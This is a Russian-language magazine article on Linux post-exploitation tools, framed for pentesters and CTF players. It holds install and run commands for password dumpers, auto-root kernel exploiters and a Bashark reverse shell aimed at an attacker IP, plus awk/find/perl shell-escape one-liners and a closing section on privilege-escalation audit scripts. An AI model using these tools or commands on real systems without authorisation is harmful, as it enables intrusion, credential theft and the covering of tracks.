Пост-эксплуатация Linux. Поднимаемся от юзера до бога в несколько кликов
Эксплойт
В этом материале тебя ждет обзор и примеры применения наиболее известных и, самое главное, рабочих утилит постэксплуатации серверов с Linux. Как манипулировать системой, стать рутом или бескомпромиссно слить все данные после того, как ты уже проник внутрь защищенного корпоративного периметра, обошел десятки фаеров и хонипотов, а может, даже получил физический доступ к жертве… Расширь влияние и почувствуй себя богом!
Концепция Kill Chain в практике пентеста
Если рассматривать практику пентеста, вся цепочка событий, приводящих к какой-либо успешной атаке на целевую ИТ-инфраструктуру, условно разбивается на сменяющие друг друга последовательные этапы. Эта цепочка действий получила название Kill Chain, или, как это звучит в русской нотации, убийственная цепочка (не исключено, что данный творческий перевод сделал сам Капитан Очевидность. — Прим. ред.).
Термин сейчас очень часто используется в мире ИБ, а широкое распространение он получил после публикации доклада Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains компании Lockheed Martin, специализирующейся в области авиастроения и авиакосмической техники, в котором среди прочего описывается последовательность шагов злоумышленника, осуществляющего незаконное проникновение (взлом) в информационную систему.
Спросишь меня, как связаны Lockheed Martin и информационная безопасность? Все довольно просто: эта компания имеет прямое отношение к ВПК Соединенных Штатов. Используя опыт Минобороны и других силовых ведомств, компания еще в 2011 году сформулировала план, состоящий из семи последовательных стадий, которые выполняются одна за другой и приводят к взлому целевой системы.
Если кратко, то вот эти семь этапов ниже и есть Kill Chain.
- Разведка. Исследование, идентификация и выбор целевой системы для взлома.
- Вооружение. Оснащение хакерскими тулзами и malware для совершения нападения.
- Доставка. Донесение вредоносного контента (тулз) до целевой системы.
- Заражение. Запуск вредоносного кода или эксплуатация уязвимостей системы.
- Инсталляция. Открытие удаленного доступа и другие действия с зараженной системой.
- Получение управления. Управление зараженной системой.
- Выполнение действий. Сбор, кража, отправка данных, шифрование файлов, подмена и удаление данных, затирание следов и так далее.

А вот небольшой пример, иллюстрирующий ее применение (проведение атаки step-by-step).

Постэксплуатация, если накладывать ее на эту таблицу, реализуется на 5-й и 6-й фазах, то есть когда хакер уже проник внутрь корпоративного периметра, обойдя периметровые и некоторые end-point средства защиты, с помощью малвари или эксплоита получил доступ к системе и готов действовать дальше. Постэксплуатация предшествует 7-й фазе «Выполнение действий», когда хакер достигает, если так можно сказать, бизнес-цели своей атаки, однако прежде, чем это произойдет, необходимо закрепиться внутри сети, дособрать нужную информацию о сети и серверах, скорректировать цели, подготовить каналы связи для передачи данных и прочее. Связано это с тем, что, как правило, конфиденциальные данные не лежат на каком-то одном серваке или крутятся в одном приложении, поэтому и необходимо дальше изучать сеть, хранилища данных, искать артефакты — в этом как раз отчасти и помогают инструменты постэксплуатации.
Постэксплуатация (англ. post-exploitation) — это один из этапов взлома компьютерных систем, позволяющий собирать дальнейшую информацию о целевой системе, получить дальнейший доступ к сети и хранящимся данным. Фаза постэксплуатации позволяет идентифицировать такие вещи, как дополнительные подсети, маршрутизаторы, названия серверов, сетевых служб и установленных приложений.
Основные паттерны, по которым работают злоумышленники, предполагают:
- получение доступа на выполнение произвольного кода или команд;
- изучение данных, хранящихся на сервере;
- перехват данных, которых нет на системе сейчас, но которые могут появиться в будущем;
- организация перманентного доступа к целевой системе (RAT);
- эскалация привилегий до уровня системы для непривилегированной учетной записи.
Дополнительно хакер может получать информацию о скомпрометированной системе, анализируя:
- конфигурацию системы (логин и пароль к БД в исходных кодах);
- конфигурацию веб-сервера (например, httpd.conf, .htaccess);
- исходные коды приложения (поиск уязвимостей через анализ логики приложения);
- доступ к окружению (изнутри сети может быть проще попасть на соседние серверы и изолированные сегменты подсети);
- базы данных (аутентификационная информация к другим системам, хранящаяся в них).
Для Windows типичные примеры постэксплуатации — такие атаки, как Pass-in-the-Hash, реализуемые известной тулзой mimikatz, о которых мы писали в нескольких прошлых материалах тут и тут, запуск бинарного кода с помощью PsExec, проброс VPN и/или DNS-туннеля, о которых более подробно рассказывали здесь и здесь. И еще известные паки для нашумевших недавно уязвимостей типа EternalBlue с помощью FuzzBunch и PowerShell Empire.
Мы же в разделе, который пойдет ниже, сделаем акцент на рассмотрение аналогичных инструментов постэксплуатации, но исключительно под Linux-системы. Ведь все знают, что back-end крупных, особенно DevOps’вских компаний обычно вращаются именно на пингвине.
Обзор основных инструментов постэксплуатации
Общие векторы атак на целевой машине после получения доступа:
- эскалация привилегий в системе (Vectors of Privilege Escalation);
- получение информации о дистрибутиве и ядре (OS Detail & Kernel Version);
- поиск уязвимого ПО (Any Vulnerable package installed or running);
- избыточные права доступа (Files and Folders with Full Control or Modify Access);
- файлы с разрешениями SUID (File with SUID Permissions);
- примонтированные тома (Mapped Drives (NFS));
- чувствительные файлы и директории (Potentially Interesting Files);
- изменение среды окружения (Environment Variable Path);
- модификация сетевого интерфейса и трафика (Network Information — interfaces, arp, netstat);
- модификация запущенных процессов в оперативной памяти (Running Processes);
- задачи, запускаемые по расписанию (Cronjobs);
- использование утилиты sudo для пользователя (User’s Sudo Right);
- различные манипуляции с исходным и бинарным кодом (Wildcard Injection).
PXEnum (Post eXploitation Enumeration script for Linux)
Основная задача данного скрипта — функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Окей, если высказаться более политкорректно, то «для тех, кто ценит свое время».
Встроенные команды позволяют также угонять хеши паролей, содержание директорий, все сведения о системе, наличие application-серверов, приложений, соединений, юзеров.
Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед инсталляцией качаем тулзу с помощью Wget:
$ wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh
Устанавливаем:
$ git clone https://github.com/shawnduong/PXEnum.git $ cd PXEnum/ $ chmod +x PXEnum.sh $ bash PXEnum.sh
Или другой вариант запуска:
$ sh PXEnum.sh

MIDA Multitool (Bash Script Purposed For System Enumeration, Vulnerability Identification And Privilege Escalation)
Другой интересный инструмент — MIDA Multitool, созданный на базе менее именитых собратьев SysEnum и RootHelper, но предлагающий гораздо больше возможностей.
По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:
- SysEnum — Bash-скрипт, предназначенный для получения основной информации о системе, включая следующие данные: текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы;
- RootHelper — призван помочь в деле эскалации привилегий в системе, которая была скомпрометирована, при помощи выполнения ряда перечислений и использования доверительных сценариев.
Устанавливаем скрипт в систему с GitHub:
$ git clone https://github.com/NullArray/Bash-Kit-Multitool $ cd Bash-Kit-Multitool $ chmod +x bashkit.sh
Запускаем скрипт:
$ /.bashkit.sh

Вывод некоторой информации по системе:

MimiPenguin
Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin. Основная задача утилиты — сброс пароля на вход в систему от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), Apache 2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.
Устанавливаем MimiPenguin, забирая его с репозитория GitHub:
$ git clone https://github.com/huntergregal/mimipenguin

Если у тебя еще не установлен GitHub, то юзай эти команды:
$ apt install git // Debian/Ubuntu systems $ yum install git // RHEL/CentOS systems
Переходим в директорию MimiPenguin и запускаем скрипт:
$ cd mimipenguin $ ls –a $ chmod +x mimipenguin.sh $ ./mimipenguin.sh

Auto-Root-Exploit
Сингловый скрипт, созданный для одной-единственной цели — получить права root на текущую учетную запись, под которой он был запущен с помощью эксплуатации известных багов. Поддерживает версии ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства *BSD.
Установка в систему:
$ git clone https://github.com/nilotpalbiswas/Auto-Root-Exploit $ cd Auto-Root-Exploit $ chmod +x autoroot.sh
Проверка версии ядра (для того чтобы выбрать нужный эксплоит-пак):
$ uname –a

Использование:
$ bash autoroot.sh N
где N — это мажорный номер версии ядра ОС.
for kernel version 2.6 all
bash autoroot.sh 2
for kernel version 3 all
bash autoroot.sh 3
for kernel version 4 all
bash autoroot.sh 4
for freebsd & openbsd all
bash autoroot.sh bsd
for apple macos all
bash autoroot.sh app
for kernel 2.6,3,4 bsd & app all
bash autoroot.sh all


LARE ([L]ocal [A]uto [R]oot [E]xploiter)
И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.
Кстати, эта тулза очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.
Устанавливаем скрипт в систему:
$ git clone https://github.com/EnigmaDimitri/LARE && cd LARE $ chmod +x LARA.sh
Пример локального запуска скрипта:
$ LARE.sh -a
или
$ ./LARE.sh -a

Запуск скрипта на целевой машине в сети:
$ LARE.sh -l [Attackers-IP]

Запуск на машине с подключением к базе данных эксплоитов на GitHub:
$ LARE.sh -l or ./LARE.sh -l
Эскалация (повышение) привилегий — это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или системным администратором, и может выполнять несанкционированные действия в целевой системе.
Проверка и защита системы от техник постэксплуатации
Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные тулзы для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.
Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.
Bashark
Bashark — популярный скрипт, который помогает пентестерам и исследователям в области безопасности тестить возможности управления системой после успешной эксплуатации.
Фирменные фичи и возможности, заявленные разработчиком:
- быстрый запуск, мгновенная реакция;
- мультиплатформенность: Unix, OS X, Solaris и другие;
- отсутствие зависимостей от версии ядра ОС или установленных пакетов;
- иммунитет к эвристическому и поведенческому анализу (обход средств защиты);
- встроенные алиасы к популярным командам;
- расширение стандартной оболочки bash-командами для постэксплуатации;
- процедура заметания следов после завершения работы (Stealthy);
- расширяемость — возможность дописывать свои команды и юзать из терминала;
- поддержка табуляции при наборе команд.
Итак, качаем скрипт с помощью Git:
$ git clone https://github.com/TheSecondSun/Bashark.git

Переходим в соответствующую директорию и даем права на выполнение:
$ cd Bashark $ chmod +x bashark.sh
Запускаем:
$ ./bashark.sh


В чем еще уникальность Bashark? С помощью опции portscan мы можем сканировать внутреннюю сетку из-под одной скомпрометированной машины. Чтобы получить все файлы конфигурации с другой взломанной машины на Linux, можно заюзать опцию getconf. Команда позволяет извлекать все файлы конфигурации, хранящиеся в каталоге /etc. Точно так же легко и просто можно использовать опцию getprem для просмотра всех двоичных файлов на целевой системе.
Сканируем удаленную машину:
$ portscan <target’s IP>
Получаем конфиги:
$ getconf
Получаем файлы:
$ getprem
Получаем реверс-шелл:
$ revshell <target’s IP> <Port 31337>

Еще одна приятная мелочь — это фича самоочистки (удаления следов работы в системе). Например, если ты создавал файлы или каталоги во время работы в контексте Bashark с помощью опции -t (создать файл) или -mkd (создать каталог), подпрограмма quit (то есть завершение работы) будет активировать директиву cleanup, затирающую все следы присутствия в системе.

LinEnum (Local Linux Enumeration & Privilege Escalation Checks)
Данный скрипт представляет собой экспресс-тест по таким позициям, как Kernel and distribution release details, System Information, Privileged access, Jobs/Tasks, Services, Default/Weak Credentials, Searches, Platform/software specific tests.
Скрипт успешно протестирован на различных версиях дистрибутивов Ubuntu, Debian, Red Hat и CentOS. Программа не ищет и не пытается выполнять эксплоиты, как некоторые другие аналогичные тулзы, — она только собирает информацию и делает проверки возможных векторов эскалации привилегий.
Установка в систему:
$ git clone https://github.com/rebootuser/LinEnum $ cd LinEnum/
Простой запуск с вызовом списка ключей:
$ ./LinEnum.sh
Пример запуска скрипта с опциями (ключами):
$ ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
Описание ключей:
-k — ввести ключевое слово
-e — указать директорию для экспорта отчета
-t — включить в отчет «длинные» тесты (дополнительные тесты)
-s — произвести проверку эскалации текущей учетки sudo perms
-r — задать имя итогового отчета
-h — вызвать встроенную справку по программе
-k — опциональный переключатель, с которым можно указать ключевое слово для поиска файлов по нескольким расширениям
Запуск без опций означает ограниченное сканирование без файла вывода.


LinuxPrivChecker
Еще один полезный в нашем деле скрипт, написанный на Python. Этот сценарий предназначен для локального выполнения в системе с целью перечисления базовой системной информации и поиска общих векторов повышения привилегий, таких как общедоступные файлы, неверные конфигурации демонов и библиотек, пароли, хранимые в виде открытого текста, и баги, соответствующие наиболее популярным эксплоитам.
Основные области проверки:
- основная информация о системе (ОС, ядро, имя системы и так далее);
- информация о сети (ifconfig, route, netstat и т. д.);
- разная информация о файловой системе (mount, fstab, cron jobs);
- информация о пользователе (текущий пользователь, все пользователи, суперпользователи, история команд);
- права доступа к файлам и каталогам (доступные для записи файлы/каталоги, файлы suid, корневой домашний каталог);
- файлы, содержащие незашифрованные пароли;
- интересные файлы, процессы и приложения (все процессы и пакеты, все процессы, запускаемые пользователем root и связанные пакеты, версия sudo, файл конфигурации Apache);
- все установленные языки и инструменты (GCC, Perl, Python, Nmap, Netcat, Wget, FTP и так далее);
- все соответствующие эксплоиты повышения привилегий (с использованием базы данных эксплоитов с применимыми версиями ядра, пакетами/процессами программного обеспечения).
Проверка на эскалацию привилегий производится в следующих программах:
nmap
-interactive
vi
:!bash
:set shell=/bin/bash:shell
awk
awk ‘BEGIN {system(“/bin/bash”)}’
find
find / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;
perl
perl -e ‘exec “/bin/bash”;’
Итак, качаем скрипт:
$ wget http://www.securitysift.com/download/linuxprivchecker.py
Запускаем с помощью всего лишь одной команды:
$ chmod +x linuxprivchecker.py $ ./linuxprivchecker.py
Или другой вариант запуска:
$ python linuxprivchecker.py

Unix-privesc-check
Unix-privesc-checker — это мощный скрипт, работающий в Unix-системах (протестирован на Solaris 9, HPUX 11, различных Linux 3.х и FreeBSD 6.2+). После запуска скрипт пытается найти неправильные твики конфигурации системы, процессы, которые могут позволить локальным непривилегированным пользователям повышать привилегии других юзеров или получать доступ к локальным приложениям, например базам данных MySQL.
Основные области проверки:
- слабые пароли и значения по умолчанию;
- конфигурация стека IP (без ненужного использования IPv6, без форвардинга IP-пакетов и так далее);
- некорректные права доступа к файлам (чтение/изменение конфиденциальных данных);
- настройка локальных приложений (просмотр sshd_config, httpd.conf);
- другие полезные вещи (например, удаленное ведение журнала, использование небезопасных протоколов TCP/IP).
Основное внимание разработчики данного скрипта уделяют проверке на предмет распространенных ошибок в конфигурации системы и некорректно настроенных разрешений на доступ к директориям и файлам. Важно отметить, что скрипт не проверяет наличие отсутствующих патчей для ядра ОС или установленных пакетов, но это и не его задача, ведь для ее решения существуют более сложные утилиты.
Скрипт может запускаться как от имени обычного пользователя, так и от имени root. В последнем случае у скрипта больше привилегий и он может выполнить ряд тестов, недоступных из-под учетки непривилегированного пользователя. Для регулярного мониторинга запуск скрипта можно прописать как задание cron.
Пример запуска скрипта:
$ ./unix-privesc-check > output.txt


Заключение
Сегодня в материале мы рассмотрели самые популярные и, главное, рабочие инструменты, которые используются в фазе постэксплуатации. Приведенный набор тулз пригодится как участникам War Games и различных CTF-соревнований, так и опытным пентестерам, проверяющим на прочность безопасность корпоративного периметра. Также в нашем обзоре мы привели еще несколько утилит, которые позволят прочекать доверенные тебе системы на факт возможности эскалации привилегий и использования других техник постэксплуатации. Теперь ты вооружен!
Полезные ссылки
Поскольку объем нашей статьи не умещает всего, что еще можно было сказать по заявленной теме, тебе, дорогой мой друг, предоставляется счастливая возможность попрактиковаться в самостоятельном изучении и заценить вот этот список дополнительных материалов.
- Linux Post Exploitation Command List — шпаргалка по основным командам постэксплуатации, которые можно самостоятельно вводить в терминале. Ничего необычного, стандартные команды, известные любому мало-мальски знающему Linux пользователю.
- Post Exploitation Collection — репозиторий GitHub, представляющий собой огромную коллекцию трюков постэксплуатации для Windows, Linux, Mac, *BSD, а также .msf4 & Metasploit scripts.
- Basic Linux Privilege Escalation — одностраничный гайд по основным векторам атак на фазе постэксплуатации.
- GitBook Post Exploitation — лютый GitBook по теме Privilege Escalation. Рассматривается куча техник эксплуатации: Kernel exploits, Programs running as root, Inside service, Suid misconfiguration, Abusing sudo-rights, Bad path configuration, Cronjob, Unmounted filesystems. Примеры готовых скриптов на Python.
- Cheeat map — еще один вариант хендбука по теме постэксплуатации с примерами команд и кода на скриптовых языках.